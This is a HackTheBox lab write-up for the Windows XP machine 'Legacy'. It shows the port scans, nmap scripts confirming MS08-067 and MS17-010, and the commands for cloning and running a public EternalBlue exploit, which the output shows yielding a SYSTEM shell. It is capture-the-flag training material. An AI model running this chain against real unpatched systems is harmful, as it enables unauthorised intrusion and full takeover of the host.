# Legacy Writeup - HackTheBox

> Exploiting MS08-067 and MS17-010 vulnerabilities on an unpatched Windows XP machine to gain SYSTEM-level access without user interaction.

- **URL:** https://hackindex.io/writeups/legacy
- **Platform:** HackTheBox
- **Difficulty:** Easy
- **Operating system:** Windows
- **Machine:** https://app.hackthebox.com/machines/legacy?sort_by=created_at&sort_type=desc
- **Tags:** eternalblue, cve-2008-4250, cve-2017-0143
- **Authors:** [Mohammad Meraj](https://hackindex.io/authors/mohammad-meraj.md)
- **Published:** 2026-09-11
- **Updated:** 2026-09-11

Legacy is a Windows XP box. The chain runs: nmap identifies SMB only, NSE scripts confirm MS17-010 (EternalBlue) and MS08-067 (NetAPI), a public Python MS17-010 exploit grants a SYSTEM shell directly with no escalation step needed.

## Discovery

### Port scan

```bash
rustscan -a $TARGET_IP
nmap -p135,139,445 $TARGET_IP -sCV -T4 -oA nmap/nmap
# PORT    STATE SERVICE      VERSION
# 135/tcp open  msrpc        Microsoft Windows RPC
# 139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
# 445/tcp open  microsoft-ds Windows XP microsoft-ds
#
# Host script results:
# | smb-os-discovery:
# |   OS: Windows XP (Windows 2000 LAN Manager)
# |   Computer name: legacy
# |   Workgroup: HTB
```

Three ports, all SMB and RPC. Windows XP flags this immediately as a pre-patch SMB target. Run the standard SMB vuln scripts before anything else.

## Vulnerability Identification

```bash
nmap -Pn -p139,445 --script smb-vuln-ms08-067,smb-vuln-ms17-010 $TARGET_IP
# Host script results:
# | smb-vuln-ms08-067:
# |   VULNERABLE:
# |   Microsoft Windows system vulnerable to remote code execution (MS08-067)
# |     State: VULNERABLE
# |     IDs:  CVE:CVE-2008-4250
# | smb-vuln-ms17-010:
# |   VULNERABLE:
# |   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
# |     State: VULNERABLE
# |     IDs:  CVE:CVE-2017-0143
```

Both MS08-067 and MS17-010 confirmed. MS17-010 is the cleaner path here.

## Exploitation

### MS17-010 EternalBlue

```bash
git clone https://github.com/h3x0v3rl0rd/MS17-010.git
cd MS17-010
python3 exploit.py $TARGET_IP
# [*] Target OS: Windows 5.1
# [+] Found pipe 'browser'
# [+] Using named pipe: browser
# Groom packets
# attempt controlling next transaction on x86
# success controlling one transaction
# ...
# [*] have fun with the system smb session!
#
# C:\WINDOWS\system32>whoami
# nt authority\system
```

The exploit grooms the kernel pool via a named pipe and coerces kernel execution. Shell lands directly as `NT AUTHORITY\SYSTEM` with no privilege escalation step required.

Related

## References

- [h3x0v3rl0rd/MS17-010](https://github.com/h3x0v3rl0rd/MS17-010) - Python MS17-010 exploit used for this box.
- [MS17-010 EternalBlue](https://www.rapid7.com/db/vulnerabilities/msft-ms17-010/) - MS17-010 vulnerability details.